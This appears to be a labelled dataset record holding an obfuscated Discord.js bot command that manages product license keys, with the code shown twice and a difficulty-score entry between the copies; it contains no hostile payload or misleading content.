_0x463c73 = _0x374cfc.createMessageComponentCollector({ 'time': 0x493e0 }); _0x463c73.on('collect', async _0x1a9b72 => { if (_0x1a9b72.customId === 'create') { await _0x1a9b72.deferUpdate(); await _0x1a9b72.deleteReply(); await _0x779a91.emit('createLicenseKey', _0x67a592, _0x58cee0, _0x3d3bec, _0x5dd518); } if (_0x1a9b72.customId === 'cancel') { await _0x1a9b72.deferUpdate(); await _0x67a592.deleteReply(); } }); }); } if (_0x1f5dbb.customId === 'no') { await _0x1f5dbb.deferUpdate(); await _0x67a592.deleteReply(); } }); _0x2e9f63.on('end', _0x2b543 => { if (_0x2b543.msg && _0x67a592) { _0x67a592.deleteReply(); } }); }); } let _0x2f94f = _0x779a91.users.cache.get(_0x3d3bec.id); let _0x21a291; let _0x392796; if (!_0x2f94f) { _0x21a291 = "\u26A0\uFE0F Unknown"; } if (!_0x2f94f) { _0x392796 = 'Unknown'; } if (_0x2f94f) { _0x21a291 = '<@!' + _0x2f94f.id + '>'; } if (_0x2f94f) { _0x392796 = '' + _0x2f94f.username; } const _0x3c91fc = new Discord.ButtonBuilder().setCustomId('create').setLabel('Create').setStyle('Primary'); const _0x4406ff = new Discord.ButtonBuilder().setCustomId('cancel').setLabel('Cancel').setStyle('Secondary'); let _0x4c61a5 = new Discord.ActionRowBuilder().addComponents(_0x3c91fc, _0x4406ff); let _0x2d570f = new Discord.EmbedBuilder(); _0x2d570f.setAuthor({ 'name': "\uD83D\uDFE0 Confirm License Information" }); _0x2d570f.setColor('Orange'); _0x2d570f.addFields({ 'name': "\u2022 License Information:", 'value': "> Product: ``" + _0x58cee0 + '``' }); _0x2d570f.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x21a291 + " (" + _0x392796 + ")\n> User ID: ``" + _0x2f94f.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x5dd518 + "/) ``" + _0x5dd518 + '``' }); _0x2d570f.addFields({ 'name': "\u2022 Created by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0x2d570f.setTimestamp(); await _0x67a592.followUp({ 'embeds': [_0x2d570f], 'components': [_0x4c61a5], 'ephemeral': true, 'fetchReply': true }).then(async _0x4da711 => { const _0x356edb = _0x4da711.createMessageComponentCollector({ 'time': 0x493e0 }); _0x356edb.on('collect', async _0x21b254 => { if (_0x21b254.customId === 'create') { await _0x21b254.deferUpdate(); await _0x21b254.deleteReply(); await _0x779a91.emit('createLicenseKey', _0x67a592, _0x58cee0, _0x3d3bec, _0x5dd518); } if (_0x21b254.customId === 'cancel') { await _0x21b254.deferUpdate(); await _0x67a592.deleteReply(); } }); }); } if (_0xf93528 === 'list') { if (config.license_list.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x36bf47 = config.license_list.AllowedRoles.some(_0x374a9b => { const _0x5b21da = _0x67a592.guild.roles.cache.get(_0x374a9b); return _0x5b21da && _0x67a592.member.roles.cache.has(_0x374a9b); }); if (!config.DevMode && !_0x36bf47) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); const _0x231ea8 = await licenseModel.find(); if (!_0x231ea8 || _0x231ea8?.['length'] === 0x0) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | There's no license keys yet!", 'ephemeral': true }); } let _0x2a9acf = []; for (let _0x2aca31 = 0x0; _0x2aca31 < _0x231ea8.length; _0x2aca31++) { const _0x3babb0 = _0x231ea8[_0x2aca31]; if (!_0x3babb0.latestIP) { _0x3babb0.latestIP = 'Unknown'; } if (!_0x3babb0.latestHWID) { _0x3babb0.latestHWID = 'Unknown'; } if (!_0x3babb0.totalRequests) { _0x3babb0.totalRequests = 0x0; } let _0x44979b = _0x779a91.users.cache.get(_0x3babb0.discordUserID); let _0x4fefed; let _0x1385f3; if (!_0x44979b) { _0x4fefed = "\u26A0\uFE0F Unknown"; } if (!_0x44979b) { _0x1385f3 = 'Unknown'; } if (_0x44979b) { _0x4fefed = '<@!' + _0x44979b.id + '>'; } if (_0x44979b) { _0x1385f3 = '' + _0x44979b.username; } let _0x599858 = new Discord.EmbedBuilder(); _0x599858.setAuthor({ 'name': "\uD83D\uDD11 Total License Keys: " + _0x231ea8.length }); _0x599858.setColor(config.EmbedColors); _0x599858.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x3babb0.licenseKey + "``\n> Product: ``" + _0x3babb0.productName + "``\n> Total Requests: ``" + _0x3babb0.totalRequests + "``\n> Latest IP: ``" + _0x3babb0.latestIP + "``\n> Latest HWID: ``" + _0x3babb0.latestHWID + "``\n> Created at: <t:" + (_0x3babb0.createdAt / 0x3e8 | 0x0) + ':R>' }); _0x599858.addFields({ 'name': "\u2022 User Information:", 'value': "> User: " + _0x4fefed + " (" + _0x1385f3 + ")\n> User ID: ``" + _0x3babb0.discordUserID + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x3babb0.builtbybitUserID + "/) ``" + _0x3babb0.builtbybitUserID + '``' }); _0x599858.setTimestamp(); _0x2a9acf.push(_0x599858); } utils.paginateEmbed(_0x67a592, ['⏪', 'Previous', 'Next', '⏩'], _0x2a9acf, '3m'); } if (_0xf93528 === 'delete') { if (config.license_delete.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x48dce7 = config.license_delete.AllowedRoles.some(_0x8142a => { const _0x1ba8af = _0x67a592.guild.roles.cache.get(_0x8142a); return _0x1ba8af && _0x67a592.member.roles.cache.has(_0x8142a); }); if (!config.DevMode && !_0x48dce7) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); let _0x587537 = _0x67a592.options.getString('licensekey'); const _0x1d1efa = await licenseModel.findOne({ 'licenseKey': _0x587537 }); if (!_0x1d1efa) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | This license key does not exist! ``(" + _0x587537 + ')``' }); } await licenseModel.findOneAndDelete({ 'licenseKey': _0x587537 }); const _0x1ee8b2 = await statisticsModel.findOne({ 'name': 'Statistics' }); _0x1ee8b2.totalLicenses--; await _0x1ee8b2.save(); try { if (_0x8377fb) { let _0x3dd595 = _0x779a91.users.cache.get(_0x1d1efa.discordUserID); let _0x38fd30; let _0x3c8259; if (!_0x3dd595) { _0x38fd30 = "\u26A0\uFE0F Unknown"; } if (!_0x3dd595) { _0x3c8259 = 'Unknown'; } if (_0x3dd595) { _0x38fd30 = '<@!' + _0x3dd595.id + '>'; } if (_0x3dd595) { _0x3c8259 = '' + _0x3dd595.username; } if (!_0x1d1efa.builtbybitUserID) { _0x1d1efa.builtbybitUserID = 'Unknown'; } let _0x17e875 = new Discord.EmbedBuilder(); _0x17e875.setAuthor({ 'name': "\uD83D\uDD34 License Deleted" }); _0x17e875.setColor('Red'); _0x17e875.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x587537 + "``\n> Product: ``" + _0x1d1efa.productName + "``\n> Created at: <t:" + (_0x1d1efa.createdAt / 0x3e8 | 0x0) + ':R>' }); _0x17e875.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x38fd30 + " (" + _0x3c8259 + ")\n> User ID: ``" + _0x3dd595.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x1d1efa.builtbybitUserID + "/) ``" + _0x1d1efa.builtbybitUserID + '``' }); _0x17e875.addFields({ 'name': "\u2022 Deleted by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0x17e875.setTimestamp(); _0x8377fb.send({ 'embeds': [_0x17e875] }); } } catch (_0x1c670a) { console.error(_0x1c670a); } return _0x67a592.editReply({ 'content': "\uD83D\uDFE2 | You successfully deleted this license key! ``(" + _0x587537 + ')``' }); } if (_0xf93528 === 'get') { if (config.license_get.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x3ab5aa = config.license_get.AllowedRoles.some(_0x1f9cab => { const _0x2f6e61 = _0x67a592.guild.roles.cache.get(_0x1f9cab); return _0x2f6e61 && _0x67a592.member.roles.cache.has(_0x1f9cab); }); if (!config.DevMode && !_0x3ab5aa) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); let _0x19d377 = _0x67a592.options.getString('query'); const _0x53b510 = await licenseModel.find(_0x19d377 ? { '$or': [{ 'licenseKey': _0x19d377 }, { 'discordUserID': _0x19d377 }, { 'builtbybitUserID': _0x19d377 }] } : {}); if (!_0x53b510 || _0x53b510.length === 0x0) { return _0x67a592.editReply("\uD83D\uDD34 | No license key with that value found! ``(" + _0x19d377 + ')``'); } let _0xb74797 = []; for (let _0x5933d3 = 0x0; _0x5933d3 < _0x53b510.length; _0x5933d3++) { const _0x49dba4 = _0x53b510[_0x5933d3]; if (!_0x49dba4.latestIP) { _0x49dba4.latestIP = 'Unknown'; } if (!_0x49dba4.latestHWID) { _0x49dba4.latestHWID = 'Unknown'; } if (!_0x49dba4.totalRequests) { _0x49dba4.totalRequests = 0x0; } let _0x55adc5 = _0x779a91.users.cache.get(_0x49dba4.discordUserID); let _0x41dd9d; let _0x5ebdb1; if (!_0x55adc5) { _0x41dd9d = "\u26A0\uFE0F Unknown"; } if (!_0x55adc5) { _0x5ebdb1 = 'Unknown'; } if (_0x55adc5) { _0x41dd9d = '<@!' + _0x55adc5.id + '>'; } if (_0x55adc5) { _0x5ebdb1 = '' + _0x55adc5.username; } let _0x575835 = new Discord.EmbedBuilder(); _0x575835.setAuthor({ 'name': "\uD83D\uDD11 License Keys Found: " + _0x53b510.length }); _0x575835.setColor(config.EmbedColors); _0x575835.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x49dba4.licenseKey + "``\n> Product: ``" + _0x49dba4.productName + "``\n> Total Requests: ``" + _0x49dba4.totalRequests + "``\n> Latest IP: ``" + _0x49dba4.latestIP + "``\n> Latest HWID: ``" + _0x49dba4.latestHWID + "``\n> Created at: <t:" + (_0x49dba4.createdAt / 0x3e8 | 0x0) + ':R>' }); _0x575835.addFields({ 'name': "\u2022 User Information:", 'value': "> User: " + _0x41dd9d + " (" + _0x5ebdb1 + ")\n> User ID: ``" + _0x49dba4.discordUserID + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x49dba4.builtbybitUserID + "/) ``" + _0x49dba4.builtbybitUserID + '``' }); _0x575835.setTimestamp(); _0xb74797.push(_0x575835); } if (_0xb74797.length === 0x1) { return _0x67a592.editReply({ 'embeds': _0xb74797 }); } utils.paginateEmbed(_0x67a592, ['⏪', 'Previous', 'Next', '⏩'], _0xb74797, '3m'); } if (_0xf93528 === 'cleardata') { if (config.license_cleardata.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x3c3517 = config.license_cleardata.AllowedRoles.some(_0x3c8b6d => { const _0x247275 = _0x67a592.guild.roles.cache.get(_0x3c8b6d); return _0x247275 && _0x67a592.member.roles.cache.has(_0x3c8b6d); }); if (!config.DevMode && !_0x3c3517) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); let _0x2ca92c = _0x67a592.options.getString('licensekey'); let _0x399e83 = _0x67a592.options.getString('data'); const _0x1f45eb = await licenseModel.findOne({ 'licenseKey': _0x2ca92c }); if (!_0x1f45eb) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | This license key does not exist! ``(" + _0x2ca92c + ')``' }); } if (_0x399e83 === 'IP') { await _0x1f45eb.updateOne({ 'ipList': [] }); await _0x67a592.editReply({ 'content': "\uD83D\uDFE2 | You successfully deleted the IP data of this license key! ``(" + _0x2ca92c + ')``' }); } if (_0x399e83 === 'HWID') { await _0x1f45eb.updateOne({ 'hwidList': [] }); await _0x67a592.editReply({ 'content': "\uD83D\uDFE2 | You successfully deleted the HWID data of this license key! ``(" + _0x2ca92c + ')``' }); } try { if (_0x8377fb) { let _0x3f0455 = _0x779a91.users.cache.get(_0x1f45eb.discordUserID); let _0x588bd1; let _0x10a7d2; if (!_0x3f0455) { _0x588bd1 = "\u26A0\uFE0F Unknown"; } if (!_0x3f0455) { _0x10a7d2 = 'Unknown'; } if (_0x3f0455) { _0x588bd1 = '<@!' + _0x3f0455.id + '>'; } if (_0x3f0455) { _0x10a7d2 = '' + _0x3f0455.username; } if (!_0x1f45eb.builtbybitUserID) { _0x1f45eb.builtbybitUserID = 'Unknown'; } let _0xaa521e = new Discord.EmbedBuilder(); _0xaa521e.setAuthor({ 'name': "\uD83D\uDFE0 License Data Cleared (" + _0x399e83 + ')' }); _0xaa521e.setColor('Orange'); _0xaa521e.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x2ca92c + "``\n> Product: ``" + _0x1f45eb.productName + "``\n> Created at: <t:" + (_0x1f45eb.createdAt / 0x3e8 | 0x0) + ':R>' }); _0xaa521e.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x588bd1 + " (" + _0x10a7d2 + ")\n> User ID: ``" + _0x3f0455.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x1f45eb.builtbybitUserID + "/) ``" + _0x1f45eb.builtbybitUserID + '``' }); _0xaa521e.addFields({ 'name': "\u2022 Cleared by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0xaa521e.setTimestamp(); _0x8377fb.send({ 'embeds': [_0xaa521e] }); } } catch (_0x2bfbe7) { console.error(_0x2bfbe7); } } } };
be7fcb0ea2b572f4c899051bf33d7f94
{ "intermediate": 0.4734918177127838, "beginner": 0.36756178736686707, "expert": 0.15894638001918793 }
33,357
const _0x39e1e0 = function () { let _0xb38b7c = true; return function (_0x51664e, _0x14c5c8) { const _0x485c76 = _0xb38b7c ? function () { if (_0x14c5c8) { const _0x45a841 = _0x14c5c8.apply(_0x51664e, arguments); _0x14c5c8 = null; return _0x45a841; } } : function () {}; _0xb38b7c = false; return _0x485c76; }; }(); const _0x1d9df1 = _0x39e1e0(this, function () { return _0x1d9df1.toString().search('(((.+)+)+)+$').toString().constructor(_0x1d9df1).search('(((.+)+)+)+$'); }); _0x1d9df1(); const { SlashCommandBuilder } = require('@discordjs/builders'); const Discord = require('discord.js'); const fs = require('fs'); const yaml = require('js-yaml'); const config = yaml.load(fs.readFileSync('./config.yml', 'utf8')); const productModel = require('../models/productModel'); const licenseModel = require('../models/licenseModel'); const statisticsModel = require('../models/statisticsModel'); const utils = require('../utils.js'); module.exports = { 'data': new SlashCommandBuilder().setName('license').setDescription("Manage licenses").addSubcommand(_0x358e83 => _0x358e83.setName('create').setDescription("Create a new license key").addUserOption(_0x23fea1 => _0x23fea1.setName('user').setDescription('User').setRequired(true)).addStringOption(_0x1a3dea => _0x1a3dea.setName('product').setDescription("The product to create the license for (Name)").setRequired(true)).addNumberOption(_0x5a9a74 => _0x5a9a74.setName('builtbybituserid').setDescription("The user's BuiltByBit user ID").setRequired(config.LicenseSettings.RequireBuiltByBitUserID))).addSubcommand(_0x4a8bcb => _0x4a8bcb.setName('delete').setDescription("Delete a specific license key").addStringOption(_0x22e7bf => _0x22e7bf.setName('licensekey').setDescription("The license key to delete").setRequired(true))).addSubcommand(_0x164293 => _0x164293.setName('list').setDescription("Get a list of all license keys")).addSubcommand(_0x40f561 => _0x40f561.setName('get').setDescription("Get information about a specific license key").addStringOption(_0x3205cf => _0x3205cf.setName('query').setDescription("The query to search for (license key, user id, builtbybit user id)").setRequired(true))).addSubcommand(_0x491d96 => _0x491d96.setName('cleardata').setDescription("Clear IP or HWID data of a specific license key").addStringOption(_0x5f2fd9 => _0x5f2fd9.setName('data').setDescription("Data to clear").addChoices({ 'name': 'IP', 'value': 'IP' }, { 'name': 'HWID', 'value': 'HWID' }).setRequired(true)).addStringOption(_0x291837 => _0x291837.setName('licensekey').setDescription("The query to search for (license key, user id, builtbybit user id)").setRequired(true))), async 'execute'(_0x67a592, _0x779a91) { let _0xf93528 = _0x67a592.options.getSubcommand(); let _0x8377fb; if (config.WebhookLogsSettings.Enabled && config.WebhookLogsSettings.CommandsWebhookURL) { _0x8377fb = new Discord.WebhookClient({ 'url': config.WebhookLogsSettings.CommandsWebhookURL }); } if (_0xf93528 === 'create') { if (config.license_create.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x1a7589 = config.license_create.AllowedRoles.some(_0x4127d5 => { const _0x6f0484 = _0x67a592.guild.roles.cache.get(_0x4127d5); return _0x6f0484 && _0x67a592.member.roles.cache.has(_0x4127d5); }); if (!config.DevMode && !_0x1a7589) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } let _0x3d3bec = _0x67a592.options.getUser('user'); let _0x58cee0 = _0x67a592.options.getString('product'); let _0x5dd518 = _0x67a592.options.getNumber('builtbybituserid'); if (!_0x5dd518) { _0x5dd518 = 'Unknown'; } const _0x4dca89 = await productModel.findOne({ 'name': _0x58cee0 }); if (!_0x4dca89 || _0x4dca89?.['length'] === 0x0) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | A product with that name doesn't exist!", 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); const _0x387d5b = new Discord.ButtonBuilder().setCustomId('yes').setLabel('Yes').setStyle('Primary').setEmoji('👍'); const _0x118502 = new Discord.ButtonBuilder().setCustomId('no').setLabel('No').setStyle('Secondary').setEmoji('👎'); let _0x4c72e4 = new Discord.ActionRowBuilder().addComponents(_0x387d5b, _0x118502); const _0x4fe00c = await licenseModel.find({ 'discordUserID': _0x3d3bec.id, 'productName': _0x58cee0 }); if (_0x4fe00c && _0x4fe00c.length > 0x0) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | This user already has a license key for **" + _0x58cee0 + "**! Are you sure you want to create another key?", 'components': [_0x4c72e4], 'ephemeral': true, 'fetchReply': true }).then(async _0x3916e6 => { const _0x2e9f63 = _0x3916e6.createMessageComponentCollector({ 'time': 0x493e0 }); _0x2e9f63.on('collect', async _0x1f5dbb => { if (_0x1f5dbb.customId === 'yes') { await _0x1f5dbb.deferUpdate(); await _0x67a592.deleteReply(); let _0x243880 = _0x779a91.users.cache.get(_0x3d3bec.id); let _0x36a6ed; let _0x3d92e3; if (!_0x243880) { _0x36a6ed = "\u26A0\uFE0F Unknown"; } if (!_0x243880) { _0x3d92e3 = 'Unknown'; } if (_0x243880) { _0x36a6ed = '<@!' + _0x243880.id + '>'; } if (_0x243880) { _0x3d92e3 = '' + _0x243880.username; } const _0x14cd88 = new Discord.ButtonBuilder().setCustomId('create').setLabel('Create').setStyle('Primary'); const _0x47f580 = new Discord.ButtonBuilder().setCustomId('cancel').setLabel('Cancel').setStyle('Secondary'); let _0x5b7440 = new Discord.ActionRowBuilder().addComponents(_0x14cd88, _0x47f580); let _0x451ad4 = new Discord.EmbedBuilder(); _0x451ad4.setAuthor({ 'name': "\uD83D\uDFE0 Confirm License Information" }); _0x451ad4.setColor('Orange'); _0x451ad4.addFields({ 'name': "\u2022 License Information:", 'value': "> Product: ``" + _0x58cee0 + '``' }); _0x451ad4.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x36a6ed + " (" + _0x3d92e3 + ")\n> User ID: ``" + _0x243880.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x5dd518 + "/) ``" + _0x5dd518 + '``' }); _0x451ad4.addFields({ 'name': "\u2022 Created by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0x451ad4.setTimestamp(); await _0x67a592.followUp({ 'embeds': [_0x451ad4], 'components': [_0x5b7440], 'ephemeral': true, 'fetchReply': true }).then(async _0x374cfc => { const _0x463c73 = _0x374cfc.createMessageComponentCollector({ 'time': 0x493e0 }); _0x463c73.on('collect', async _0x1a9b72 => { if (_0x1a9b72.customId === 'create') { await _0x1a9b72.deferUpdate(); await _0x1a9b72.deleteReply(); await _0x779a91.emit('createLicenseKey', _0x67a592, _0x58cee0, _0x3d3bec, _0x5dd518); } if (_0x1a9b72.customId === 'cancel') { await _0x1a9b72.deferUpdate(); await _0x67a592.deleteReply(); } }); }); } if (_0x1f5dbb.customId === 'no') { await _0x1f5dbb.deferUpdate(); await _0x67a592.deleteReply(); } }); _0x2e9f63.on('end', _0x2b543 => { if (_0x2b543.msg && _0x67a592) { _0x67a592.deleteReply(); } }); }); } let _0x2f94f = _0x779a91.users.cache.get(_0x3d3bec.id); let _0x21a291; let _0x392796; if (!_0x2f94f) { _0x21a291 = "\u26A0\uFE0F Unknown"; } if (!_0x2f94f) { _0x392796 = 'Unknown'; } if (_0x2f94f) { _0x21a291 = '<@!' + _0x2f94f.id + '>'; } if (_0x2f94f) { _0x392796 = '' + _0x2f94f.username; } const _0x3c91fc = new Discord.ButtonBuilder().setCustomId('create').setLabel('Create').setStyle('Primary'); const _0x4406ff = new Discord.ButtonBuilder().setCustomId('cancel').setLabel('Cancel').setStyle('Secondary'); let _0x4c61a5 = new Discord.ActionRowBuilder().addComponents(_0x3c91fc, _0x4406ff); let _0x2d570f = new Discord.EmbedBuilder(); _0x2d570f.setAuthor({ 'name': "\uD83D\uDFE0 Confirm License Information" }); _0x2d570f.setColor('Orange'); _0x2d570f.addFields({ 'name': "\u2022 License Information:", 'value': "> Product: ``" + _0x58cee0 + '``' }); _0x2d570f.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x21a291 + " (" + _0x392796 + ")\n> User ID: ``" + _0x2f94f.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x5dd518 + "/) ``" + _0x5dd518 + '``' }); _0x2d570f.addFields({ 'name': "\u2022 Created by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0x2d570f.setTimestamp(); await _0x67a592.followUp({ 'embeds': [_0x2d570f], 'components': [_0x4c61a5], 'ephemeral': true, 'fetchReply': true }).then(async _0x4da711 => { const _0x356edb = _0x4da711.createMessageComponentCollector({ 'time': 0x493e0 }); _0x356edb.on('collect', async _0x21b254 => { if (_0x21b254.customId === 'create') { await _0x21b254.deferUpdate(); await _0x21b254.deleteReply(); await _0x779a91.emit('createLicenseKey', _0x67a592, _0x58cee0, _0x3d3bec, _0x5dd518); } if (_0x21b254.customId === 'cancel') { await _0x21b254.deferUpdate(); await _0x67a592.deleteReply(); } }); }); } if (_0xf93528 === 'list') { if (config.license_list.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x36bf47 = config.license_list.AllowedRoles.some(_0x374a9b => { const _0x5b21da = _0x67a592.guild.roles.cache.get(_0x374a9b); return _0x5b21da && _0x67a592.member.roles.cache.has(_0x374a9b); }); if (!config.DevMode && !_0x36bf47) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); const _0x231ea8 = await licenseModel.find(); if (!_0x231ea8 || _0x231ea8?.['length'] === 0x0) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | There's no license keys yet!", 'ephemeral': true }); } let _0x2a9acf = []; for (let _0x2aca31 = 0x0; _0x2aca31 < _0x231ea8.length; _0x2aca31++) { const _0x3babb0 = _0x231ea8[_0x2aca31]; if (!_0x3babb0.latestIP) { _0x3babb0.latestIP = 'Unknown'; } if (!_0x3babb0.latestHWID) { _0x3babb0.latestHWID = 'Unknown'; } if (!_0x3babb0.totalRequests) { _0x3babb0.totalRequests = 0x0; } let _0x44979b = _0x779a91.users.cache.get(_0x3babb0.discordUserID); let _0x4fefed; let _0x1385f3; if (!_0x44979b) { _0x4fefed = "\u26A0\uFE0F Unknown"; } if (!_0x44979b) { _0x1385f3 = 'Unknown'; } if (_0x44979b) { _0x4fefed = '<@!' + _0x44979b.id + '>'; } if (_0x44979b) { _0x1385f3 = '' + _0x44979b.username; } let _0x599858 = new Discord.EmbedBuilder(); _0x599858.setAuthor({ 'name': "\uD83D\uDD11 Total License Keys: " + _0x231ea8.length }); _0x599858.setColor(config.EmbedColors); _0x599858.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x3babb0.licenseKey + "``\n> Product: ``" + _0x3babb0.productName + "``\n> Total Requests: ``" + _0x3babb0.totalRequests + "``\n> Latest IP: ``" + _0x3babb0.latestIP + "``\n> Latest HWID: ``" + _0x3babb0.latestHWID + "``\n> Created at: <t:" + (_0x3babb0.createdAt / 0x3e8 | 0x0) + ':R>' }); _0x599858.addFields({ 'name': "\u2022 User Information:", 'value': "> User: " + _0x4fefed + " (" + _0x1385f3 + ")\n> User ID: ``" + _0x3babb0.discordUserID + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x3babb0.builtbybitUserID + "/) ``" + _0x3babb0.builtbybitUserID + '``' }); _0x599858.setTimestamp(); _0x2a9acf.push(_0x599858); } utils.paginateEmbed(_0x67a592, ['⏪', 'Previous', 'Next', '⏩'], _0x2a9acf, '3m'); } if (_0xf93528 === 'delete') { if (config.license_delete.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x48dce7 = config.license_delete.AllowedRoles.some(_0x8142a => { const _0x1ba8af = _0x67a592.guild.roles.cache.get(_0x8142a); return _0x1ba8af && _0x67a592.member.roles.cache.has(_0x8142a); }); if (!config.DevMode && !_0x48dce7) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); let _0x587537 = _0x67a592.options.getString('licensekey'); const _0x1d1efa = await licenseModel.findOne({ 'licenseKey': _0x587537 }); if (!_0x1d1efa) { return _0x67a592.editReply({ 'content': "\uD83D\uDD34 | This license key does not exist! ``(" + _0x587537 + ')``' }); } await licenseModel.findOneAndDelete({ 'licenseKey': _0x587537 }); const _0x1ee8b2 = await statisticsModel.findOne({ 'name': 'Statistics' }); _0x1ee8b2.totalLicenses--; await _0x1ee8b2.save(); try { if (_0x8377fb) { let _0x3dd595 = _0x779a91.users.cache.get(_0x1d1efa.discordUserID); let _0x38fd30; let _0x3c8259; if (!_0x3dd595) { _0x38fd30 = "\u26A0\uFE0F Unknown"; } if (!_0x3dd595) { _0x3c8259 = 'Unknown'; } if (_0x3dd595) { _0x38fd30 = '<@!' + _0x3dd595.id + '>'; } if (_0x3dd595) { _0x3c8259 = '' + _0x3dd595.username; } if (!_0x1d1efa.builtbybitUserID) { _0x1d1efa.builtbybitUserID = 'Unknown'; } let _0x17e875 = new Discord.EmbedBuilder(); _0x17e875.setAuthor({ 'name': "\uD83D\uDD34 License Deleted" }); _0x17e875.setColor('Red'); _0x17e875.addFields({ 'name': "\u2022 License Information:", 'value': "> License Key: ``" + _0x587537 + "``\n> Product: ``" + _0x1d1efa.productName + "``\n> Created at: <t:" + (_0x1d1efa.createdAt / 0x3e8 | 0x0) + ':R>' }); _0x17e875.addFields({ 'name': "\u2022 License User Information:", 'value': "> User: " + _0x38fd30 + " (" + _0x3c8259 + ")\n> User ID: ``" + _0x3dd595.id + "``\n> [BuiltByBit User ID:](https://builtbybit.com/members/swqpping." + _0x1d1efa.builtbybitUserID + "/) ``" + _0x1d1efa.builtbybitUserID + '``' }); _0x17e875.addFields({ 'name': "\u2022 Deleted by:", 'value': "> User: <@!" + _0x67a592.user.id + "> (" + _0x67a592.user.username + ")\n> User ID: ``" + _0x67a592.user.id + '``' }); _0x17e875.setTimestamp(); _0x8377fb.send({ 'embeds': [_0x17e875] }); } } catch (_0x1c670a) { console.error(_0x1c670a); } return _0x67a592.editReply({ 'content': "\uD83D\uDFE2 | You successfully deleted this license key! ``(" + _0x587537 + ')``' }); } if (_0xf93528 === 'get') { if (config.license_get.Enabled === false) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | This command has been disabled in the config!", 'ephemeral': true }); } const _0x3ab5aa = config.license_get.AllowedRoles.some(_0x1f9cab => { const _0x2f6e61 = _0x67a592.guild.roles.cache.get(_0x1f9cab); return _0x2f6e61 && _0x67a592.member.roles.cache.has(_0x1f9cab); }); if (!config.DevMode && !_0x3ab5aa) { return _0x67a592.reply({ 'content': "\uD83D\uDD34 | " + config.Locale.NoPermsMessage, 'ephemeral': true }); } await _0x67a592.deferReply({ 'ephemeral': true }); let _0x19d377 = _0x67a592.options.getString('query'); const _0x53b510 = await licenseModel.find(_0x19d377 ? { '$or': [{ 'licenseKey': _0x19d377 }, { 'discordUserID': _0x19d377 }, { 'builtbybitUserID': _0x19d377 }] } : {}); if (!_0x53b510 || _0x53b510.length === 0x0) { return _0x67a592.editReply("\uD83D\uDD34 | No license key with that value found! ``(" + _0x19d377 + ')``'); } let _0xb74797 = []; for (let _0x5933d3 = 